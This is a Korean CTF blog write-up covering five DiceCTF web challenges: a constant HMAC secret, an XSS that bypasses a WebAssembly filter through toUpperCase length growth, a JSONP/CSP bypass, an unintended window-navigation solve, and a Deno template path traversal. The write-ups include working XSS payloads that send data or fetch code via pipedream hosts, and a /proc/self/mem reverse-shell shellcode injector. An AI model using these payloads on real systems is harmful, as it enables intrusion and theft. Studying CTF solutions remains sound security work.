web 5문제 밖에 못 풀었다.
knock-knock
const crypto = require('crypto');
class Database {
constructor() {
this.notes = [];
this.secret = `secret-${crypto.randomUUID}`;
}
createNote({ data }) {
const id = this.notes.length;
this.notes.push(data);
return {
id,
token: this.generateToken(id),
};
}
getNote({ id, token }) {
if (token !== this.generateToken(id)) return { error: 'invalid token' };
if (id >= this.notes.length) return { error: 'note not found' };
return { data: this.notes[id] };
}
generateToken(id) {
return crypto
.createHmac('sha256', this.secret)
.update(id.toString())
.digest('hex');
}
}
const db = new Database();
db.createNote({ data: process.env.FLAG });
const express = require('express');
const app = express();
app.use(express.urlencoded({ extended: false }));
app.use(express.static('public'));
app.post('/create', (req, res) => {
const data = req.body.data ?? 'no data provided.';
const { id, token } = db.createNote({ data: data.toString() });
res.redirect(`/note?id=${id}&token=${token}`);
});
app.get('/note', (req, res) => {
const { id, token } = req.query;
const note = db.getNote({
id: parseInt(id ?? '-1'),
token: (token ?? '').toString(),
});
if (note.error) {
res.send(note.error);
} else {
res.send(note.data);
}
});
app.listen(3000, () => {
console.log('listening on port 3000');
});
코드를 주는데 flag를 얻으려면 id와 token값을 알맞게 줘야한다.
일단 id는 0일거고 token값을 구해야하는데 잘보면 token을 생성할 때 사용하는 secret이 뭔가 이상하다.
this.secret = `secret-${crypto.randomUUID}`;
crypto.randomUUID
는 함수라서 secret 값은 매번 고정일 수 밖에 없다. 그럼 token값을 구할 수 있고 그대로 플래그 뽑아주면 된다.
FLAG : dice{1_d00r_y0u_d00r_w3_a11_d00r_f0r_1_d00r}
blazingfast
filter를 잘 우회해서 xss를 하면 된다.
let blazingfast = null;
function mock(str) {
blazingfast.init(str.length);
if (str.length >= 1000) return 'Too long!';
for (let c of str.toUpperCase()) {
if (c.charCodeAt(0) > 128) return 'Nice try.';
blazingfast.write(c.charCodeAt(0));
}
if (blazingfast.mock() == 1) {
return 'No XSS for you!';
} else {
let mocking = '', buf = blazingfast.read();
while(buf != 0) {
mocking += String.fromCharCode(buf);
buf = blazingfast.read();
}
return mocking;
}
}
function demo(str) {
document.getElementById('result').innerHTML = mock(str);
}
WebAssembly.instantiateStreaming(fetch('/blazingfast.wasm')).then(({ instance }) => {
blazingfast = instance.exports;
document.getElementById('demo-submit').onclick = () => {
demo(document.getElementById('demo').value);
}
let query = new URLSearchParams(window.location.search).get('demo');
if (query) {
document.getElementById('demo').value = query;
demo(query);
}
})
// blazingfast.c
int length, ptr = 0;
char buf[1000];
void init(int size) {
length = size;
ptr = 0;
}
char read() {
return buf[ptr++];
}
void write(char c) {
buf[ptr++] = c;
}
int mock() {
for (int i = 0; i < length; i ++) {
if (i % 2 == 1 && buf[i] >= 65 && buf[i] <= 90) {
buf[i] += 32;
}
if (buf[i] == '<' || buf[i] == '>' || buf[i] == '&' || buf[i] == '"') {
return 1;
}
}
ptr = 0;
return 0;
}
wasm 코드를 보면 우리가 입력한 데이터에 <,>,&,"
가 있으면 지워버린다.
저 부분만 잘 우회하면 되는데 javascript의 mock함수에 취약점이 있다.
function mock(str) {
blazingfast.init(str.length);
if (str.length >= 1000) return 'Too long!';
for (let c of str.toUpperCase()) {
if (c.charCodeAt(0) > 128) return 'Nice try.';
blazingfast.write(c.charCodeAt(0));
}
if (blazingfast.mock() == 1) {
return 'No XSS for you!';
} else {
let mocking = '', buf = blazingfast.read();
while(buf != 0) {
mocking += String.fromCharCode(buf);
buf = blazingfast.read();
}
return mocking;
}
}
코드를 보면 처음 전달받은 data의 길이로 init을 하고 해당 data를 toUpperCase하는데 이때 취약점이 발생한다.
toUpperCase하고 나면 data의 전체 길이가 증가하므로 필터를 우회하여 원하는 태그를 삽입할 수 있다.
그럼 이제 페이로드 작성하고 xss로 플래그를 읽어오면 된다.
ffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffi<img src=x onerror=navigator.sendBeacon("https://enllwt2ugqrt.x.pipedream.net/flag",localStorage.getItem('flag'))>
FLAG : dice{1_dont_know_how_to_write_wasm_pwn_s0rry}
noteKeeper
이번에도 xss문제다.
username에 임의의 태그를 삽입할 수 있는데 회원가입할 때 길이 제한이 걸려있다.
router.post("/register", async (req, res) => {
let { username, password } = req.body;
if(db.hasUser(username)) {
utils.alert(req, res, "danger", `A user already exists with username ${username}`);
return res.redirect("/");
}
if(username.length > 16) {
utils.alert(req, res, "danger", "Invalid username");
return res.redirect("/");
}
if(password.length < 5) {
utils.alert(req, res, "danger", "Please choose a longer password");
return res.redirect("/");
}
await db.addUser(username, password);
jwt.signData(res, username, { msg: "Registered successfully", type: "primary" });
res.redirect("/home");
});
이건 간단하게 우회할 수 있는데
app.use(express.urlencoded({ extended: false }))
로 설정되있기 때문에 아래와 같이 보내면 길이 제한을 우회하고 임의의 태그를 삽입할 수 있다.
username=<asdfasdfasdfadsfaasdf>&username=<asdfasdfffasdfasdf>&password=dudedsfsdfdsfa
하지만 csp가 걸려있다.
app.use((req, res, next) => {
res.setHeader("Content-Security-Policy", `
script-src 'self';
object-src 'none';
frame-src 'none';
frame-ancestors 'none';
`.trim().replace(/\s+/g, " "));
console.log(req.user, req.originalUrl);
next();
})
script-src가 self라서 서버에 js를 업로드한 다음 script src로 땡겨서 실행한다거나 해야하는데
if(req.header('Sec-Fetch-Dest') !== "audio" || req.header('Sec-Fetch-Site') !== "same-origin") {
audio파일에 접근할 때 header 검증이 있어서 불가능하지만 코드를 보다보면 jsonp의 callback을 우리가 컨트롤 할 수 있다.
또한 api 쪽엔 csp가 안 걸려있다. 그럼 함수를 실행할 때 document.write를 이용해서 /api 쪽에 우리가 원하는 data를 작성하고 거기서 스크립트를 실행하면 될 것 같다.
그리고 hint.js를 보면 봇의 동작이 좀 이상하다.
await page.setCookie({
name: 'session',
value: JWT,
domain: new URL(SITE).host,
httpOnly: true
});
await page.goto(SITE + "/home");
await page.waitForTimeout(4000);
// looks good to me!!
await page.evaluate(() => {
document.querySelector("#logout") && document.querySelector("#logout").click();
});
대놓고 user interaction을 만들어 줬다.
https://stackoverflow.com/questions/51543595/get-a-stream-of-bytes-from-navigator-mediadevices-getusermedia
필요한 건 다 구했으니 payload를 작성해주면 된다.
payload
a.html
<html>
<head>
</head>
<body>
<div id="atk"></div>
<script>
const target = "https://notekeeper.mc.ax"
if(window.name=='fuck'){
atk.innerHTML = `
<form id=gg method=POST><input id=zerowtf name='username'/><input name=username value=fuck/><input name=password value=ffffffff213123123></form>
`
gg.action = target+'/api/register'
zerowtf.value = `<img src=1 onerror="fetch(\`https://enyqumcx4ddf7on.m.pipedream.net/\`).then(r=>r.text()).then(r=>eval(r));"><iframe srcdoc='<script/src=/api/user/info?callback=top.opener.document.write><\/script>'></iframe>${Math.random()}`
setTimeout(()=>{
gg.submit()
},1000)
} else if( window.name == 'ff'){
window.open("?","fuck")
setTimeout(()=>{
document.location = target+'/api/alerts/list'
},400)
} else {
window.open('?','ff')
document.location = target
}
</script>
</body>
</html>
ex.js
setInterval(()=>{
if(top.opener.fuckme){
return
}
top.opener.document.body.innerHTML = \`
<audio id='fa' controls>
<source src="/api/audio/file?1644066324242" type="audio/mpeg" >
</audio>
<button id="logout">dsfdf</button><img id=fuckme>\`
console.log('done')
top.opener.logout.onclick = ()=>{
stream = top.opener.fa.captureStream(25)
mediaRecorder = new MediaRecorder(stream);
mediaRecorder.ondataavailable = function(e) {
console.log(window.URL.createObjectURL(e.data));
console.log(e.data)
var fd = new FormData();
fd.append('upl', e.data, 'blobby.txt');
fetch('https://enllwt2ugqrt.x.pipedream.net/',{method:'POST',body:atob(fd)})
}
mediaRecorder.start();
top.opener.fa.play()
setTimeout(()=>{
mediaRecorder.stop();
},10000)
}
},10)
FLAG : dice{jsonp_how_could_you_do_all_they_~~
flag가 mp3로 되있어서 듣기 힘들다. 암튼 잘 나온다.
dicevault
언인텐으로 풀었다.
<script>
a = window.open('https://dicevault.mc.ax/')
setTimeout(()=>{a.location=('http://myserver')},200)
</script>
const express = require('express')
const app = express()
app.get('/*',(req,res)=>{
console.log(req.url)
res.send(`<a href="./1/" type="button" class="btn vault vault-1">⚀</a><a href="./2/" type="button" class="btn vault vault-2">⚁</a><a href="./3/" type="button" class="btn vault vault-3">⚂</a><a h>
})
app.listen(9002)
어이가 없다.
denoblog
퍼블 딴 건데 굉장히 재밌다.
import { serve } from "https://deno.land/std/http/server.ts";
import * as cookie from "https://deno.land/std/http/cookie.ts";
import * as dejs from "https://deno.land/x/dejs/mod.ts";
const port = 8080;
const handler = async (req: Request): Promise<Response> => {
let lang = cookie.getCookies(req.headers)["lang"] ?? "en";
let body = await dejs.renderFileToString("./views/index.ejs", { lang });
let headers = new Headers();
headers.set("content-type", "text/html");
return new Response(body, { headers, status: 200 });
};
console.log("[app] server now listening for connections...");
await serve(handler, { port });
<% await include(`./langs/${lang}`); %>
<!DOCTYPE html>
<html>
<head>
<title>denoblog</title>
<link rel="stylesheet" href="https://unpkg.com/@picocss/pico@latest/css/pico.classless.min.css">
</head>
<body>
<main>
<hgroup>
<h1>denoblog</h1>
<h2><%= i18n.HEADER %></h2>
</hgroup>
<nav>
<ul>
<li><%= i18n.SWITCH_LANG %></li>
<li><a href="javascript:document.cookie = 'lang=en'; location.reload();">English</a></li>
<li><a href="javascript:document.cookie = 'lang=es'; location.reload();">Español</a></li>
</ul>
</nav>
<hr />
<%= i18n.COMING_SOON %>
</main>
</body>
</html>
cookie값을 전달해줄 때 path traversal이 발생해서 임의의 파일을 땡겨올 수 있다.
마침 문제에서 nginx를 쓰고 있기 때문에 이전에 hxp ctf의 includers_revenge문제 풀 때 썼던거 그대로 돌려준다음
nginx request buffer를 include하게 해줬는데 deno에 있는 보안 옵션 때문에 command를 실행할 수 없었다.
PermissionDenied: Requires run access to "echo", run again with the --allow-run flag
at Object.opSync (deno:core/01_core.js:149:12)
at opRun (deno:runtime/js/40_process.js:27:17)
at Object.run (deno:runtime/js/40_process.js:114:17)
at eval (eval at <anonymous> (file://$deno$/bundle.js:1130:23), <anonymous>:4:39)
at eval (eval at <anonymous> (file://$deno$/bundle.js:1130:23), <anonymous>:6:9)
at file://$deno$/bundle.js:1131:13
at new Promise (<anonymous>)
at file://$deno$/bundle.js:1117:15
at renderFileToString (file://$deno$/bundle.js:1214:12)
at async renderFile (file://$deno$/bundle.js:1217:20)
rce를 할 수 없었기 때문에 삽질만하다가 Dockerfile에서 흥미로운 것을 찾았다.
RUN deno compile --allow-read --allow-write --allow-net app.ts
write와 read가 허용되있었다. 단순히 파일 쓰기와 읽기는 별 소용이 없다.
하지만 이전에 N1CTF의 qqqueryyy문제를 풀 때도 이용했는데 /proc/self/mem에 임의의 데이터를 쓰는 것이 가능하다면 이야기는 달라진다.
/proc/self/maps에서 r,x권한이 있는 영역 주소 가져와서 해당 메모리에 쉘코드를 작성한다면 system 명령을 실행하는 것이 가능해진다.
그래서 곧바로 payload를 작성해줬고 서버로 업로드한 다음 cookie값을 조작하여 include시켜주니 곧 reverse shell을 얻을 수 있었다.
const data = await Deno.readTextFile("/proc/self/maps");
console.log(data);
const maps = data.split('\n');
for (var ent in maps) {
var q = maps[ent].split(" ")
var g = q[1]
if (g && g[2] == "x" && g[0] == "r" && maps[ent].indexOf("app") > -1) {
var startAddr = parseInt(q[0].split("-")[0], 16)
console.log("0x"+startAddr.toString(16));
var endAddr = parseInt(q[0].split("-")[1], 16)
console.log("0x"+endAddr.toString(16));
var startAddr = endAddr - 0x20000
var shellcode = REVERSE_SHELLCODE
var len = 0x1000 - shellcode.length;
var b = []
for (var i = 0; i < len; i++) {
b[i] = 0x90
}
for (var i = 0; i < shellcode.length; i++) {
b[len + i] = shellcode[i]
}
const file2 = Deno.openSync("/proc/self/mem", {
write: true
});
Deno.seekSync(file2.rid, startAddr, Deno.SeekMode.Start)
console.log(Deno.writeSync(file2.rid, new Uint8Array(b)));
}
}
'web hacking' 카테고리의 다른 글
url parser confusing (0) | 2022.08.03 |
---|---|
hayyim CTF 2022 web writeup (0) | 2022.02.13 |
leak data via http gzip compression (0) | 2021.09.28 |
Weird Javascript (3) | 2021.08.29 |
DarkCON CTF web Writeup - DarkCON Challs (0) | 2021.02.21 |